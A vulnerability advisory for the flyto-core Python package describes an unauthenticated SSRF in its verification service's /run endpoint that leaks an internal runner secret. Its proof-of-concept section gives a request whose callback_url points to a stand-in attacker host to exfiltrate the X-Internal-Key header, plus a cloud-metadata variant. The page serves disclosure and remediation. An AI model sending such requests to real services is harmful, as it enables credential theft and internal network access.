Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration
Summary
The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.
Root Cause
src/core/verification_service.py:363-364—/runhas noDepends/auth dependency.resolve_callback_urlreturns the clientcallback_urlverbatim (:315-316).post_callbackattachesX-Internal-Key: $FLYTO_RUNNER_SECRETwhenever the env var is set (:327-335).target_allowedonly gatesparams.target_url(:259), nevercallback_url. Novalidate_url_*anywhere in the file.Dockerfile.verificationCMD =main('0.0.0.0', 8344); entrypointflyto-verificationinpyproject.toml:107→ the shipped image binds all interfaces by default.
Impact
Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).
Proof of Concept
Code-proven this session (all lines confirmed on v2.26.6):
POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.
Attack Chain
- Entry: unauthenticated
POST http://<host>:8344/runwithcallback_url:"http://attacker.tld/collect". Guard: auth on/run. Bypass proof: noDepends(require_auth)(verification_service.py:363-364); Dockerfile binds all interfaces on port 8344. - Check:
target_allowedscope (:259). Bypass proof: only inspectsparams.target_url;callback_urlis never passed throughextract_host/target_allowed. - Check: SSRF validation on
callback_url. Bypass proof: file has ZEROvalidate_urlreferences. - Sink:
post_callback→session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET})(:330-335); header attached unconditionally when the env var is set (:327-329). - Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.
Bypass Evidence
/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.
Affected Versions
<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.
Suggested Fix
Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.
Credit
Vulnerability discovered by zx (Jace).
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | flyto-core | >= 2.26.6, < 2.26.7 | 2.26.7 |
Referencias
- https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67
- https://nvd.nist.gov/vuln/detail/CVE-2026-67426
- https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9
- https://github.com/flytohub/flyto-core
- https://github.com/flytohub/flyto-core/releases/tag/v2.26.7
- https://pypi.org/project/flyto-core
- https://github.com/advisories/GHSA-jx74-cqjv-2c67
- https://github.com/pypa/advisory-database/tree/main/vulns/flyto-core/PYSEC-2026-3571.yaml
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N- Debilidad (CWE)
CWE-306, CWE-522, CWE-918- Plataforma
- Python (PyPI)
- Paquete
flyto-core- Publicada
- 30.07.2026
- Actualizado
- 11.10.2026 14:19
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-3571 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-jx74-cqjv-2c67 - CC BY 4.0
Historial de vulnerabilidades: flyto-core
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 8
- Primera → última
- 07.2026 07.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 6
Divulgaciones por año
- 2026: 8
-
Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.